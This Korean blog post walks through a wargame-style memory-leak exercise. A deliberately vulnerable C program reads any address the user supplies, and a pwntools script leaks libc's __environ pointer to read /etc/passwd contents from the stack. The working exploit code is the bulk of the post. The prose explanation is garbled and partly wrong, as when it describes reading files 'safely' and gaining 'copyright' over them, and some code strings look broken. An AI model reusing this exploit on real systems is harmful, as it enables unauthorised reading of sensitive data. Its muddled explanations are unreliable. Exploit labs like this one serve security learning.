Python으로 기억하는 파일 내용 읽기: 환경 변수 취약점을 활용한 실습
안녕하세요! 여러분! 오늘은 Python을 활용해 파일의 내용을 읽어오는 간단한 프로그램을 만들어보도록 하겠습니다. 이 프로그램은 환경 변수를 취약점으로 활용하여, 시스템의 특정 파일 내용을 안전하게 조회하는 방법을 소개할 예정입니다.
들어가며
프로그래밍 둘레에서 보안은 매우 중요한 주제입니다. 그 중에서도 환경 변수와 관련된 취약점은 자주 발견되는 문제 중 하나입니다. 보안 전공자와 해커 모두에게 유용하게 사용할 수 있는 이 기법은, 물리적 접근 없이도 파일의 내용을 안전하게 읽어올 수 있게 해줍니다. 이번 포스트에서는 이 기법을 Python으로 실습해보도록 하겠습니다.
코드 작성하기
아래 코드는 /etc/passwd
파일을 읽어 주며, 환경 변수를 통해 특정 취약점을 이용하고 있습니다. 코드의 구조는 C로 작성된 프로그램과 그에 따른 Python 스크립트를 포함하고 있습니다.
C 코드 (environ.c)
// Name: environ.c
// Compile: gcc -o environ environ.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
void sig_handle() {
exit(0);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
signal(SIGALRM, sig_handle);
alarm(5);
}
void read_file() {
char file_buf[4096];
int fd = open("/etc/passwd", O_RDONLY);
read(fd, file_buf, sizeof(file_buf) - 1);
close(fd);
}
int main() {
char buf[1024];
long addr;
int idx;
init();
read_file();
printf("stdout: %p
", stdout);
while (1) {
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Addr: ");
scanf("%ld", &addr);
printf("%s", (char *)addr);
break;
default:
break;
}
}
return 0;
}
코드 설명하기
1. 환경 설정 및 파일 읽기
이 코드는 프로그램이 시작할 때 환경 세팅을 하고 매번 /etc/passwd
파일을 읽습니다. 환경 변수 정보를 통해 원하는 메모리 주소에 접근할 수 있게 됩니다.
2. 입력 기능 구현
사용자가 주소를 입력하면, 그 메모리 주소에 있는 내용을 출력하는 기능을 갖추고 있습니다. 이렇게 함으로써 특정 주소에 있는 데이터에 접근할 수 있는 것입니다.
3. Python을 통한 익스플로잇
이제 Python을 통해 이 C 프로그램을 익스플로잇해보겠습니다. 아래의 코드는 /etc/passwd
파일의 내용을 읽어오는 데 필요한 주소를 계산하는 과정을 나타냅니다.
Python 코드 (environ.py)
# Name: environ.py
from pwn import *
p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.recvuntil(": ")
stdout = int(p.recvuntil("
"), 16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']
print(hex(libc_base))
print(hex(libc_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))
p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, ""))
file_content = stack_environ - 0x1538
print("stack_environ: " + hex(stack_environ))
p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))
p.interactive()
결과 확인하기
위의 Python 코드 실행 결과로는 /etc/passwd
의 내용을 확인할 수 있는 접근 권한을 부여받게 됩니다. 이 과정을 통해 시스템의 파일에 대한 저작권을 다룰 수 있어, 보안 문제를 진지하게 다루는 데 중요한 시사점을 제공하게 됩니다.
마무리하며
이번 포스트에서는 Python과 C를 활용하여 환경 변수 취약점을 이용한 파일 읽기에 대해 알아보았습니다. 이 실습이 여러분에게 프로그램의 보안을 더 깊이 이해하는 데 도움이 되었길 바랍니다. 보안 관련 질문이나 추가 궁금증이 있으시다면 언제든지 댓글 남겨주세요!
여러분의 학습 여정에 이 글이 작은 도움이 되었기를 바랍니다! 다음 포스트에서 만나요!
'개발' 카테고리의 다른 글
자바에서 추상 클래스와 인터페이스의 차이점 이해하기 (0) | 2024.11.13 |
---|---|
C++으로 카드 문자열 문제 해결하기: 데이터 구조의 활용법 (1) | 2024.11.13 |
C++를 활용한 마라톤 완주자 찾기 문제 해결하기 (2) | 2024.11.13 |
Git Flow로 협업의 품질 높이기: 버전 관리의 전략적 접근 (0) | 2024.11.13 |
Java 메소드 인스턴스 메소드와 정적 메소드의 차이 이해하기 (0) | 2024.11.13 |